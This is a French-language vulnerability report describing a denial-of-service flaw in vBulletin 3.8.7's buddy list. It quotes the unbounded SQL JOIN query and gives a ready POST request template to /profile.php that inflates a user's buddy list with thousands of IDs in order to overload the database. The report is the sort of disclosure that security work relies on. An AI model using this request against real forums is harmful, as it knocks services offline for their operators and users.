
Rapport sur une vulnérabilité de déni de service dans la liste d'amis de vBulletin 3.8.7.
Le point de terminaison /misc.php?do=buddylist exécute une seule et grande requête JOIN qui récupère tous les amis ainsi que leurs informations utilisateur et de session pour vérifier leur statut en ligne. Parce que cette requête traite la liste d'amis entière sans pagination ni limite de résultats, elle devient extrêmement gourmande en ressources et peut surcharger la base de données lorsque la liste s'agrandit.
Ce problème est facile à exploiter et nécessite une configuration minimale. Aucun privilège spécial n'est requis au-delà d'un compte utilisateur de base. Il suffit de gonfler la liste d'amis pour exercer une pression sérieuse sur la base de données.
Cette requête SQL récupère les détails des amis ainsi que les informations de session pour vérifier l'état en ligne de chaque ami. Parce qu'elle traite la liste d'amis entière et effectue une jointure avec les données de session pour chaque entrée, la requête devient très volumineuse et consommatrice de ressources.
$buddys = $db->query_read_slave("
SELECT
user.username,
(user.options & " . $vbulletin->bf_misc_useroptions['invisible'] . ") AS invisible,
user.userid,
session.lastactivity
FROM " . TABLE_PREFIX . "userlist AS userlist
LEFT JOIN " . TABLE_PREFIX . "user AS user ON (user.userid = userlist.relationid)
LEFT JOIN " . TABLE_PREFIX . "session AS session ON (session.userid = user.userid)
WHERE userlist.userid = {$vbulletin->userinfo['userid']}
AND userlist.relationid = user.userid
AND type = 'buddy'
ORDER BY username ASC, session.lastactivity DESC
");
Les listes d'amis peuvent être remplies en masse en envoyant une requête POST à /profile.php avec listbits. Cela peut être répété pour des milliers d'identifiants utilisateur afin de gonfler la liste d'amis :
POST /profile.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
securitytoken=TOKEN
&ajax=1
&do=updatelist
&userlist=buddy
&listbits[buddy_original][USER_ID]=USER_ID
&listbits[buddy][USER_ID]=USER_ID
&listbits[friend][USER_ID]=USER_ID
&listbits[friend_original][USER_ID]=USER_ID
...
Sur les grands forums, cela peut provoquer un ralentissement sévère des requêtes ou faire planter complètement l'instance MySQL.